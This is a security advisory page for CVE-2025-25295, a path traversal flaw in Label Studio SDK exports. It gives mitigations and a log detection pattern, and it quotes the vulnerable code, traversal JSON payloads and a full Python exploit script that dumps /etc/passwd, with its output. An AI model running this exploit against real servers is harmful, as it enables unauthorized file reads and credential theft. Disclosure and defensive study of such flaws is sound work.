CVE-2025-25295: Label Studio SDK: path traversal leaks server filesystem

GHSA-rgv9-w7jp-m23g HIGH CISA: TRACK*
Published February 14, 2025
CISO Take

Any authenticated Label Studio user — including low-privilege annotators — can read arbitrary server files (credentials, SSH keys, configs) by crafting a malicious task and triggering a VOC/COCO/YOLO export. Upgrade label-studio-sdk to 1.0.10 and Label Studio to 1.16.0 immediately. If patching is delayed, disable dataset export functionality or restrict export permissions to admins only.

Risk Assessment

High severity despite no CVSS score assigned yet. Exploitability is trivial — working exploit code is public, requires only a valid user account (not admin), and produces results in seconds. Impact is significant: full filesystem read as the web server process user, potentially exposing credentials, API keys, SSH private keys, and environment files. Exposure is high for teams with shared Label Studio instances or external annotator access. The low EPSS (0.00068) reflects novelty, not difficulty.

Affected Systems

Package Ecosystem Vulnerable Range Patched
label-studio-sdk pip < 1.0.10 1.0.10
27.2K 1 dependents Pushed 8d ago 71% patched ~145d to patch Full package profile →

Do you use label-studio-sdk? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
0.1%
chance of exploitation in 30 days
Higher than 32% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

5 steps
  1. PATCH

    Upgrade label-studio-sdk >= 1.0.10 and Label Studio >= 1.16.0. Commit 4a9715c6 contains the fix.

  2. INTERIM WORKAROUND

    Restrict VOC/COCO/YOLO export to admin roles only via RBAC settings; disable download_resources=true on export API calls at the reverse proxy level.

  3. HARDEN

    Run Label Studio as a dedicated low-privilege OS user with minimal filesystem access; mount sensitive directories with noexec and restricted permissions.

  4. DETECT

    Search web logs for export API calls matching pattern /api/projects/*/export?.*download_resources=true combined with task creation events containing '../' in image fields.

  5. AUDIT

    If exploited, rotate all credentials on the Label Studio host and downstream services.

CISA SSVC Assessment

Decision Track*
Exploitation poc
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.7.4 - Information security for AI systems
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain security of AI systems
OWASP LLM Top 10
LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2025-25295?

Any authenticated Label Studio user — including low-privilege annotators — can read arbitrary server files (credentials, SSH keys, configs) by crafting a malicious task and triggering a VOC/COCO/YOLO export. Upgrade label-studio-sdk to 1.0.10 and Label Studio to 1.16.0 immediately. If patching is delayed, disable dataset export functionality or restrict export permissions to admins only.

Is CVE-2025-25295 actively exploited?

No confirmed active exploitation of CVE-2025-25295 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-25295?

1. PATCH: Upgrade label-studio-sdk >= 1.0.10 and Label Studio >= 1.16.0. Commit 4a9715c6 contains the fix. 2. INTERIM WORKAROUND: Restrict VOC/COCO/YOLO export to admin roles only via RBAC settings; disable download_resources=true on export API calls at the reverse proxy level. 3. HARDEN: Run Label Studio as a dedicated low-privilege OS user with minimal filesystem access; mount sensitive directories with noexec and restricted permissions. 4. DETECT: Search web logs for export API calls matching pattern /api/projects/*/export?.*download_resources=true combined with task creation events containing '../' in image fields. 5. AUDIT: If exploited, rotate all credentials on the Label Studio host and downstream services.

What systems are affected by CVE-2025-25295?

This vulnerability affects the following AI/ML architecture patterns: Training data pipelines, Data annotation platforms, MLOps CI/CD pipelines, Model fine-tuning workflows, Human-in-the-loop labeling systems.

What is the CVSS score for CVE-2025-25295?

No CVSS score has been assigned yet.

Technical Details

NVD Description

## Description A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports: ```python def download( url, output_dir, filename=None, project_dir=None, return_relative_path=False, upload_dir=None, download_resources=True, ): is_local_file = url.startswith("/data/") and "?d=" in url is_uploaded_file = url.startswith("/data/upload") if is_uploaded_file: upload_dir = _get_upload_dir(project_dir, upload_dir) filename = urllib.parse.unquote(url.replace("/data/upload/", "")) filepath = os.path.join(upload_dir, filename) logger.debug( f"Copy {filepath} to {output_dir}".format( filepath=filepath, output_dir=output_dir ) ) if download_resources: shutil.copy(filepath, output_dir) if return_relative_path: return os.path.join( os.path.basename(output_dir), os.path.basename(filename) ) return filepath if is_local_file: filename, dir_path = url.split("/data/", 1)[-1].split("?d=") dir_path = str(urllib.parse.unquote(dir_path)) filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path) if not os.path.exists(filepath): raise FileNotFoundError(filepath) if download_resources: shutil.copy(filepath, output_dir) return filepath ``` By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. Note that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`. ## Steps to Reproduce 1. Login to Label Studio 2. Create project with image labeling configuration 3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it 4. Create task with path traversal in image field 4.1. To trigger the `is_uploaded_file` code path: ```json { "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } } ``` 4.2. To trigger the `is_local_file` code path: ```json { "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } } ``` 6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example: ``` GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true ``` 7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file. Alternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats: ```python import requests from bs4 import BeautifulSoup import io import zipfile BASE_URL = "http://xbow-app-1:8000" USERNAME = "test@test.com" PASSWORD = "Test123!@#" METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file" EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO" print("Signing up...") url = "%s/user/signup/" % BASE_URL session = requests.Session() # First get the CSRF token response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] print(f"Got CSRF token: {csrf_token}") # Prepare registration data data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, 'allow_newsletters': 'false', 'allow_newsletters_visual': 'false' } headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', } # Submit the registration request response = session.post(url, data=data, headers=headers) print(f"User registration response status code: {response.status_code}\n") # Login print("Logging in...") url = "%s/user/login" % BASE_URL # Attempt login with our credentials login_data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, } headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', } response = session.post(url, data=login_data, headers=headers) print(f"Login response status code: {response.status_code}") # Check if we got any tokens in the response print("\nCookies after login:") for cookie in session.cookies: print(f"{cookie.name}: {cookie.value}") # We will use these headers moving forward headers = { 'Content-Type': 'application/json', 'X-CSRFToken': session.cookies['csrftoken'] } # Creat a project to then create a task associated to it print("\nCreating project...") # Try to create a project with a file upload configuration project_data = { "title": "File Upload Test", "description": "Testing file upload functionality", "label_config": """ <View> <Image name="image" value="$image"/> <Text name="text" value="$text"/> <Choices name="choice" toName="image"> <Choice value="yes"/> <Choice value="no"/> </Choices> </View> """ } response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers) if response.status_code != 201: print("Problem creating project, aborting") exit(0) project_id = response.json()['id'] print(f"Project ID: {project_id}\n") # Create task using a filename to later abuse a path traversal vulnerability during file export print(f"Creating task with method {METHOD} (defaults to is_local_file)...") task_data = {} if (METHOD == "is_uploaded_file"): task_data["data"] = { "text": "test", "image": "/data/upload/../../../../../etc/passwd" # Trigger for is_uploaded_file } else: task_data["data"] = { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file } response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers) if response.status_code != 201: print("Problem creating task, aborting") exit(0) task_id = response.json()['id'] print(f"Task created successfully, task id: {task_id}\n") # Issue a dummy upload request to force the creation of the ~/data/images/upload folder response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"}) # Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC) response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true") if (response.status_code != 200): print("Couldn't fetch export file") exit(0) file_like_object = io.BytesIO(response.content) zipfile_ob = zipfile.ZipFile(file_like_object) print("Dumping /etc/passwd file contents:") print(zipfile_ob.read("images/passwd").decode("utf-8")) ``` Output: ``` $ python3 studio-min.py Signing up... Got CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6 User registration response status code: 200 Logging in... Login response status code: 200 Cookies after login: csrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33 sessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30 Creating project... Project ID: 10 Creating task with method is_uploaded_file (defaults to is_local_file)... Task created successfully, task id: 10 Dumping /etc/passwd file contents: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin nginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin ``` ## Mitigations - Validate and sanitize file paths - Add an allowlist of directories and file types - Implement file access controls - Use randomized file names and secure file storage abstraction ## Impact Authentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.

Exploitation Scenario

An external data annotator or compromised internal account authenticates to a shared Label Studio instance used for LLM fine-tuning dataset preparation. They create a project, submit a task with image field set to '/data/upload/../../../../../home/mlops/.ssh/id_rsa', then trigger a YOLO format export. The server processes the path traversal unvalidated, copies the SSH private key into a ZIP archive, and returns it in the HTTP response. The attacker now has SSH access to the MLOps engineer's account, potentially pivoting to the model training cluster, cloud storage buckets containing training data, or the model registry.

Timeline

Published
February 14, 2025
Last Modified
February 14, 2025
First Seen
March 24, 2026

Related Vulnerabilities